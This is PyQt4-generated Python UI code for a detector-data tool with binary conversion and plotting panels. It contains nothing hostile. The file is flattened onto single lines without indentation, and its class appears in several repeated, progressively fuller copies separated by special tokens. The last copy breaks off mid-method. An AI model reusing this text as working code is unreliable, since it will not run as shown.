<|reserved_special_token_0|> class Ui_MainWindow(object): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8('MainWindow')) MainWindow.resize(661, 728) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui. QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(MainWindow.sizePolicy(). hasHeightForWidth()) MainWindow.setSizePolicy(sizePolicy) MainWindow.setMinimumSize(QtCore.QSize(100, 100)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) MainWindow.setFont(font) MainWindow.setAutoFillBackground(False) MainWindow.setTabShape(QtGui.QTabWidget.Rounded) self.centralwidget = QtGui.QWidget(MainWindow) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy(). hasHeightForWidth()) self.centralwidget.setSizePolicy(sizePolicy) self.centralwidget.setMinimumSize(QtCore.QSize(100, 100)) self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000)) self.centralwidget.setObjectName(_fromUtf8('centralwidget')) self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget) self.verticalLayout.setObjectName(_fromUtf8('verticalLayout')) self.groupBox_3 = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui. QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy(). hasHeightForWidth()) self.groupBox_3.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox_3.setFont(font) self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight) self.groupBox_3.setAutoFillBackground(True) self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt. AlignLeft | QtCore.Qt.AlignVCenter) self.groupBox_3.setObjectName(_fromUtf8('groupBox_3')) self.gridLayout = QtGui.QGridLayout(self.groupBox_3) self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint) self.gridLayout.setObjectName(_fromUtf8('gridLayout')) self.MainVertLayout = QtGui.QVBoxLayout() self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize) self.MainVertLayout.setContentsMargins(-1, 10, -1, -1) self.MainVertLayout.setSpacing(0) self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout')) self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1) self.verticalLayout.addWidget(self.groupBox_3) self.groupBox = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox.sizePolicy(). hasHeightForWidth()) self.groupBox.setSizePolicy(sizePolicy) self.groupBox.setMinimumSize(QtCore.QSize(100, 200)) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox.setFont(font) self.groupBox.setWhatsThis(_fromUtf8('')) self.groupBox.setObjectName(_fromUtf8('groupBox')) self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594, 32)) self.horizontalLayoutWidget_6.setObjectName(_fromUtf8( 'horizontalLayoutWidget_6')) self.horizontalLayout_9 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_6) self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9')) self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6) self.label_7.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_7.setFont(font) self.label_7.setObjectName(_fromUtf8('label_7')) self.horizontalLayout_9.addWidget(self.label_7) self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6) self.browserButton_7.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy(). hasHeightForWidth()) self.browserButton_7.setSizePolicy(sizePolicy) self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton_7.setObjectName(_fromUtf8('browserButton_7')) self.horizontalLayout_9.addWidget(self.browserButton_7) self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6) self.filePathEdit_7.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy(). hasHeightForWidth()) self.filePathEdit_7.setSizePolicy(sizePolicy) self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7')) self.horizontalLayout_9.addWidget(self.filePathEdit_7) self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32) ) self.horizontalLayoutWidget_9.setObjectName(_fromUtf8( 'horizontalLayoutWidget_9')) self.horizontalLayout_10 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_9) self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10') ) self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9) self.label_11.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_11.setFont(font) self.label_11.setObjectName(_fromUtf8('label_11')) self.horizontalLayout_10.addWidget(self.label_11) self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9) self.browserButton.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton.sizePolicy(). hasHeightForWidth()) self.browserButton.setSizePolicy(sizePolicy) self.browserButton.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton.setObjectName(_fromUtf8('browserButton')) self.horizontalLayout_10.addWidget(self.browserButton) self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9) self.filePathEdit_3.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy(). hasHeightForWidth()) self.filePathEdit_3.setSizePolicy(sizePolicy) self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3')) self.horizontalLayout_10.addWidget(self.filePathEdit_3) self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592, 32)) self.horizontalLayoutWidget_10.setObjectName(_fromUtf8( 'horizontalLayoutWidget_10')) self.horizontalLayout_11 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_10) self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11') ) self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10) self.label_12.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_12.setFont(font) self.label_12.setObjectName(_fromUtf8('label_12')) self.horizontalLayout_11.addWidget(self.label_12) self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10 ) self.browserButton_3.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy(). hasHeightForWidth()) self.browserButton_3.setSizePolicy(sizePolicy) self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton_3.setObjectName(_fromUtf8('browserButton_3')) self.horizontalLayout_11.addWidget(self.browserButton_3) self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy(). hasHeightForWidth()) self.filePathEdit_5.setSizePolicy(sizePolicy) self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5')) self.horizontalLayout_11.addWidget(self.filePathEdit_5) self.runButton = QtGui.QPushButton(self.groupBox) self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50)) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.runButton.sizePolicy(). hasHeightForWidth()) self.runButton.setSizePolicy(sizePolicy) self.runButton.setMinimumSize(QtCore.QSize(80, 50)) self.runButton.setIconSize(QtCore.QSize(24, 24)) self.runButton.setObjectName(_fromUtf8('runButton')) self.verticalLayout.addWidget(self.groupBox) self.groupBox_2 = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy(). hasHeightForWidth()) self.groupBox_2.setSizePolicy(sizePolicy) self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225)) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox_2.setFont(font) self.groupBox_2.setAutoFillBackground(True) self.groupBox_2.setObjectName(_fromUtf8('groupBox_2')) self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32) ) self.horizontalLayoutWidget_4.setObjectName(_fromUtf8( 'horizontalLayoutWidget_4')) self.horizontalLayout_6 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_4) self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6')) self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_3.setFont(font) self.label_3.setObjectName(_fromUtf8('label_3')) self.horizontalLayout_6.addWidget(self.label_3) self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy(). hasHeightForWidth()) self.browserButton_4.setSizePolicy(sizePolicy) self.browserButton_4.setObjectName(_fromUtf8('browserButton_4')) self.horizontalLayout_6.addWidget(self.browserButton_4) self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.loadButton.sizePolicy(). hasHeightForWidth()) self.loadButton.setSizePolicy(sizePolicy) self.loadButton.setObjectName(_fromUtf8('loadButton')) self.horizontalLayout_6.addWidget(self.loadButton) self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy(). hasHeightForWidth()) self.filePathEdit_4.setSizePolicy(sizePolicy) self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30)) self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4')) self.horizontalLayout_6.addWidget(self.filePathEdit_4) self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29) ) self.horizontalLayoutWidget_2.setObjectName(_fromUtf8( 'horizontalLayoutWidget_2')) self.horizontalLayout_2 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_2) self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2')) self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label_4.sizePolicy(). hasHeightForWidth()) self.label_4.setSizePolicy(sizePolicy) self.label_4.setObjectName(_fromUtf8('label_4')) self.horizontalLayout_2.addWidget(self.label_4) self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox.sizePolicy(). hasHeightForWidth()) self.comboBox.setSizePolicy(sizePolicy) self.comboBox.setObjectName(_fromUtf8('comboBox')) self.horizontalLayout_2.addWidget(self.comboBox) self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotButton.sizePolicy(). hasHeightForWidth()) self.plotButton.setSizePolicy(sizePolicy) self.plotButton.setObjectName(_fromUtf8('plotButton')) self.horizontalLayout_2.addWidget(self.plotButton) self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481, 29)) self.horizontalLayoutWidget_3.setObjectName(_fromUtf8( 'horizontalLayoutWidget_3')) self.horizontalLayout_3 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_3) self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3')) self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3) self.label_5.setObjectName(_fromUtf8('label_5')) self.horizontalLayout_3.addWidget(self.label_5) self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy(). hasHeightForWidth()) self.comboBox_R1.setSizePolicy(sizePolicy) self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0)) self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1')) self.horizontalLayout_3.addWidget(self.comboBox_R1) self.label = QtGui.QLabel(self.horizontalLayoutWidget_3) self.label.setEnabled(False) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy(). hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setMinimumSize(QtCore.QSize(30, 0)) self.label.setMaximumSize(QtCore.QSize(30, 29)) font = QtGui.QFont() font.setBold(True) font.setItalic(True) font.setUnderline(False) font.setWeight(75) self.label.setFont(font) self.label.setAutoFillBackground(True) self.label.setLineWidth(5) self.label.setAlignment(QtCore.Qt.AlignCenter) self.label.setObjectName(_fromUtf8('label')) self.horizontalLayout_3.addWidget(self.label) self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy(). hasHeightForWidth()) self.comboBox_R2.setSizePolicy(sizePolicy) self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2')) self.horizontalLayout_3.addWidget(self.comboBox_R2) self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy(). hasHeightForWidth()) self.plotRangeButton.setSizePolicy(sizePolicy) self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton')) self.horizontalLayout_3.addWidget(self.plotRangeButton) self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481, 29)) self.horizontalLayoutWidget_7.setObjectName(_fromUtf8( 'horizontalLayoutWidget_7')) self.horizontalLayout_5 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_7) self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5')) self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7) self.label_8.setObjectName(_fromUtf8('label_8')) self.horizontalLayout_5.addWidget(self.label_8) self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy(). hasHeightForWidth()) self.comboBox_2.setSizePolicy(sizePolicy) self.comboBox_2.setObjectName(_fromUtf8('comboBox_2')) self.horizontalLayout_5.addWidget(self.comboBox_2) self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.checkBox.sizePolicy(). hasHeightForWidth()) self.checkBox.setSizePolicy(sizePolicy) self.checkBox.setObjectName(_fromUtf8('checkBox')) self.horizontalLayout_5.addWidget(self.checkBox) self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy(). hasHeightForWidth()) self.plotImageButton.setSizePolicy(sizePolicy) self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15)) self.plotImageButton.setObjectName(_fromUtf8('plotImageButton')) self.horizontalLayout_5.addWidget(self.plotImageButton) self.clearPlotButton = QtGui.QPushButton(self.groupBox_2) self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50)) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy(). hasHeightForWidth()) self.clearPlotButton.setSizePolicy(sizePolicy) self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50)) self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton')) self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29)) self.horizontalLayoutWidget.setObjectName(_fromUtf8( 'horizontalLayoutWidget')) self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget) self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout')) self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget) self.label_9.setObjectName(_fromUtf8('label_9')) self.horizontalLayout.addWidget(self.label_9) self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.pushButton.sizePolicy(). hasHeightForWidth()) self.pushButton.setSizePolicy(sizePolicy) self.pushButton.setMinimumSize(QtCore.QSize(80, 15)) self.pushButton.setObjectName(_fromUtf8('pushButton')) self.horizontalLayout.addWidget(self.pushButton) self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy(). hasHeightForWidth()) self.plotStripsButton.setSizePolicy(sizePolicy) self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15)) self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton')) self.horizontalLayout.addWidget(self.plotStripsButton) self.verticalLayout.addWidget(self.groupBox_2) MainWindow.setCentralWidget(self.centralwidget) self.statusbar = QtGui.QStatusBar(MainWindow) self.statusbar.setObjectName(_fromUtf8('statusbar')) MainWindow.setStatusBar(self.statusbar) self.toolBar = QtGui.QToolBar(MainWindow) self.toolBar.setObjectName(_fromUtf8('toolBar')) MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar) self.menuBar = QtGui.QMenuBar(MainWindow) self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22)) self.menuBar.setObjectName(_fromUtf8('menuBar')) MainWindow.setMenuBar(self.menuBar) self.actionOpen = QtGui.QAction(MainWindow) self.actionOpen.setVisible(True) self.actionOpen.setObjectName(_fromUtf8('actionOpen')) self.actionQuit = QtGui.QAction(MainWindow) self.actionQuit.setObjectName(_fromUtf8('actionQuit')) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None)) self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None)) self.groupBox.setTitle(_translate('MainWindow', ' BINARY DATA CONVERSION', None)) self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None)) self.browserButton_7.setText(_translate('MainWindow', 'Browse', None)) self.filePathEdit_7.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\', None)) self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None)) self.browserButton.setText(_translate('MainWindow', 'Browse', None)) self.filePathEdit_3.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\qtGSD\\gsd_parse.out', None)) self.label_12.setText(_translate('MainWindow', ' INPUT FILE ', None)) self.browserButton_3.setText(_translate('MainWindow', 'Browse', None)) self.filePathEdit_5.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\', None)) self.runButton.setText(_translate('MainWindow', 'Run', None)) self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None)) self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None)) self.browserButton_4.setText(_translate('MainWindow', 'Browse', None)) self.loadButton.setText(_translate('MainWindow', 'Load', None)) self.filePathEdit_4.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\', None)) self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None)) self.plotButton.setText(_translate('MainWindow', 'Plot', None)) self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None)) self.label.setText(_translate('MainWindow', 'to', None)) self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None)) self.label_8.setText(_translate('MainWindow', ' PLOT SPECTRA AS 2-D IMAGE', None)) self.checkBox.setText(_translate('MainWindow', 'Log', None)) self.plotImageButton.setText(_translate('MainWindow', 'Plot Image', None)) self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None)) self.label_9.setText(_translate('MainWindow', ' PLOT TOTAL COUNTS vs STRIP', None)) self.pushButton.setText(_translate('MainWindow', 'Update', None)) self.plotStripsButton.setText(_translate('MainWindow', 'Plot Strips', None)) self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None)) self.actionOpen.setText(_translate('MainWindow', 'Open', None)) self.actionQuit.setText(_translate('MainWindow', 'Quit', None)) <|reserved_special_token_1|> <|reserved_special_token_0|> try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8('MainWindow')) MainWindow.resize(661, 728) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui. QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(MainWindow.sizePolicy(). hasHeightForWidth()) MainWindow.setSizePolicy(sizePolicy) MainWindow.setMinimumSize(QtCore.QSize(100, 100)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) MainWindow.setFont(font) MainWindow.setAutoFillBackground(False) MainWindow.setTabShape(QtGui.QTabWidget.Rounded) self.centralwidget = QtGui.QWidget(MainWindow) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy(). hasHeightForWidth()) self.centralwidget.setSizePolicy(sizePolicy) self.centralwidget.setMinimumSize(QtCore.QSize(100, 100)) self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000)) self.centralwidget.setObjectName(_fromUtf8('centralwidget')) self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget) self.verticalLayout.setObjectName(_fromUtf8('verticalLayout')) self.groupBox_3 = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui. QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy(). hasHeightForWidth()) self.groupBox_3.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox_3.setFont(font) self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight) self.groupBox_3.setAutoFillBackground(True) self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt. AlignLeft | QtCore.Qt.AlignVCenter) self.groupBox_3.setObjectName(_fromUtf8('groupBox_3')) self.gridLayout = QtGui.QGridLayout(self.groupBox_3) self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint) self.gridLayout.setObjectName(_fromUtf8('gridLayout')) self.MainVertLayout = QtGui.QVBoxLayout() self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize) self.MainVertLayout.setContentsMargins(-1, 10, -1, -1) self.MainVertLayout.setSpacing(0) self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout')) self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1) self.verticalLayout.addWidget(self.groupBox_3) self.groupBox = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox.sizePolicy(). hasHeightForWidth()) self.groupBox.setSizePolicy(sizePolicy) self.groupBox.setMinimumSize(QtCore.QSize(100, 200)) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox.setFont(font) self.groupBox.setWhatsThis(_fromUtf8('')) self.groupBox.setObjectName(_fromUtf8('groupBox')) self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594, 32)) self.horizontalLayoutWidget_6.setObjectName(_fromUtf8( 'horizontalLayoutWidget_6')) 